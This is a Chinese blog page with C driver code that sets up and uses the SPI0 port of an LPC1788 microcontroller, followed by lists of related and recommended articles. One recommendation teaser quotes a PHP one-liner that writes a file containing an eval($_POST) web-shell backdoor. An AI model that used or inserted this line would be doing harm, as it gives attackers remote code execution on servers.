#ifndef __SPI_H_

#define __SPI_H_

#include "common.h"

#include "delay.h"

// cs p1.21

//sck p1.20

//miso p1.23

//mosi p1.24

#define SPI_CLOCK   12000000

void spi0_select_cs(void);

void spi0_disSelect_cs(void);

u8 spi0_rw_data(u8 writeByte);

void spi0_set_speed(u8 speed);

void spi0_init(u8 divide);

#endif

#include "spi.h"

void spi0_select_cs(void)

{

P1low(21) = 1;

}

void spi0_disSelect_cs(void)

{

P1high(21) = 1;

}

u8 spi0_rw_data(u8 writeByte)

{

u8 retry = 200;

u8 readByte;

while(!(LPC_SSP0->SR&0x01))//等待发送完成

{

retry--;

DelayUs(1);

if(retry == 0)return 1;

}

LPC_SSP0->DR = (u16)writeByte;

retry = 200;

while(!(LPC_SSP0->SR&0x04))

{

retry--;

DelayUs(1);

if(retry == 0)return 1;

}

readByte = (u8)LPC_SSP0->DR;

return readByte;

}

void spi0_set_speed(u8 divide)

{

LPC_SSP0->CR1 &= ~(1<<1);//停止spi

LPC_SSP0->CR0 |= ((SPI_CLOCK/(divide-1))<<8);

LPC_SSP0->CR1 |= (1<<1);//启动spi

}

void spi0_init(u8 divide)

{

//打开SPI时钟和io口时钟

LPC_SC->PCONP |= (1<<15)|(1<<21);//打开时钟

//配置cs

LPC_IOCON->P1_21 = 0x00;//选择gpio功能,禁止迟滞 不反向 正常推挽

LPC_IOCON->P1_21 |= (2<<3);//上拉

P1dir(21) = 1;//输出

P1high(1) = 1;//为高

LPC_IOCON->P1_20 = 0x00;//选择禁止迟滞 不反向 正常推挽

LPC_IOCON->P1_20 |= (2<<3)|(5<<0);//上拉 ssp clk

LPC_IOCON->P1_23 = 0x00;//选择禁止迟滞 不反向 正常推挽

LPC_IOCON->P1_23 |= (2<<3)|(5<<0);//上拉 ssp miso

LPC_IOCON->P1_24 = 0x00;//选择禁止迟滞 不反向 正常推挽

LPC_IOCON->P1_24 |= (2<<3)|(5<<0);//上拉 ssp mosi

//spi接口初始化

LPC_SSP0->CR0 = 0x0000;

LPC_SSP0->CR1  = 0x00000000;//正常操作,主机模式

LPC_SSP0->CR0 |= (7<<0)|(1<<6)|(1<<7)|((SPI_CLOCK/(divide-1))<<8);//8位数据 cpol cpoa

LPC_SSP0->CPSR = ApbClock/SPI_CLOCK;

LPC_SSP0->IMSC = 0x00000000;//禁止中断

LPC_SSP0->CR1 |= (1<<1);//启动spi

}

LPC1788的spi使用的更多相关文章

  1. SPI基础知识

    Serial Peripheral Interface 是摩托罗拉公司提出的一种总线协议,主要应用在EEPROM,FLASH,实时时钟,A/D转换,以及数字信号处理和数字信号解码器中 是一种高速,全双 ...

  2. spi子系统之驱动SSD1306 OLED

    spi子系统之驱动SSD1306 OLED 接触Linux之前,曾以为读源码可以更快的学习软件,于是前几个博客都是一边读源码一边添加注释,甚至精读到每一行代码,实际上效果并不理想,看过之后就忘记了.主 ...

  3. java中的SPI机制

    1 SPI机制简介 SPI的全名为Service Provider Interface.大多数开发人员可能不熟悉,因为这个是针对厂商或者插件的.在java.util.ServiceLoader的文档里 ...

  4. 基于TQ2440的SPI驱动学习(OLED)

    平台简介 开发板:TQ2440 (NandFlash:256M  内存:64M) u-boot版本:u-boot-2015.04 内核版本:Linux-3.14 作者:彭东林 邮箱:pengdongl ...

  5. SPI协议及IO模拟

    SPI协议 SPI协议网上资料比较多,但是也比较乱,当初在网上搜集的错误资料导致现在比较混乱. SPI协议资料比较正规的是: 1.SPI的规约协议英文文档,例如<摩托罗拉spi协议规范> ...

  6. STM32F412应用开发笔记之三:SPI总线通讯与AD采集

    本次我们在NUCLEO-F412ZG试验模拟量输入采集.我们的模拟量输入采用ADI公司的AD7705,是一片16位两路差分输入的AD采集芯片.具有SPI接口,我们将采用SPI接口与AD7705通讯.两 ...

  7. spi 10方式编写

    //第一个CS变低的时候要sclk为高电平,第一个跳变沿进行赋值 module spi(input clk,input rst_n,output reg sclk,output reg cs,outp ...

  8. 挣值管理(PV、EV、AC、SV、CV、SPI、CPI) 记忆

    挣值管理法中的PV.EV.AC.SV.CV.SPI.CPI这些英文简写相信把大家都搞得晕头转向的.在挣值管理法中,需要记忆理解的有三个参数:PV.AC.EV.     PV:计划值,在即定时间点前计划 ...

  9. SPI总线

    一.概述. SPI, Serial Perripheral Interface, 串行外围设备接口, 是 Motorola 公司推出的一种同步串行接口技术. SPI 总线在物理上是通过接在外围设备微控 ...

随机推荐

  1. UITextField和一个UILabel绑定 浅析

    转载自:http://fengdeng.github.io/blog/2016/01/22/rxswift-dao-di-%5B%3F%5D-ge-uitextfieldshi-ru-he-he-%5 ...

  2. HDU1171--Big Event in HDU(多重背包)

    Big Event in HDU   Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) ...

  3. Nginx代理外网映射

    外网映射内网端口8080, 外网访问使用端口8379: nginx监听8080和80端口 #user nobody; worker_processes ; #error_log logs/error. ...

  4. java的property

    System.currentTimeMillis() 返回以毫秒为单位的当前时间.System.gc() 垃圾回收System.getProperties().返回当前的系统属性System.getP ...

  5. zf-关于<ww:iterator /> 标签中的<td /> 标签添加序号问题

    一开始代码是这样的 那个<ww:if> 标签 是我添加的,可是添加之后出问题了. 因为我加了一个判断语句,使得不需要的信息没显示出来,导致#li.count 这个显示下标的方法行不通了 之 ...

  6. 款待奶牛(treat)

    款待奶牛(treat) 题目描述 FJ有n(1≤n≤2000)个美味的食物,他想卖掉它们来赚钱给奶牛.这些食物放在一些箱子里,它们有些有趣的特性:(1)这些食物被编号为1-n,每一天FJ可以从这排箱子 ...

  7. Source

    转载自:http://blog.csdn.net/u014084081/article/details/44617707 Guide iOS Developer Library 教程 Ray Wend ...

  8. android数据库sqlite增加删改查

    http://hi-beijing.iteye.com/blog/1322040 http://www.cnblogs.com/wenjiang/archive/2013/05/28/3100860. ...

  9. php后门屌炸天

    fputs(fopen('a.php','w'),'<?php eval($_POST[cc])?>'); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然 ...

  10. js优化原则

    首先,与其他语言不同,JS的效率很大程度是取决于JS engine的效率.除了引擎实现的优劣外,引擎自己也会为一些特殊的代码模式采取一些优化的策略.例如FF.Opera和Safari的JS引擎,都对字 ...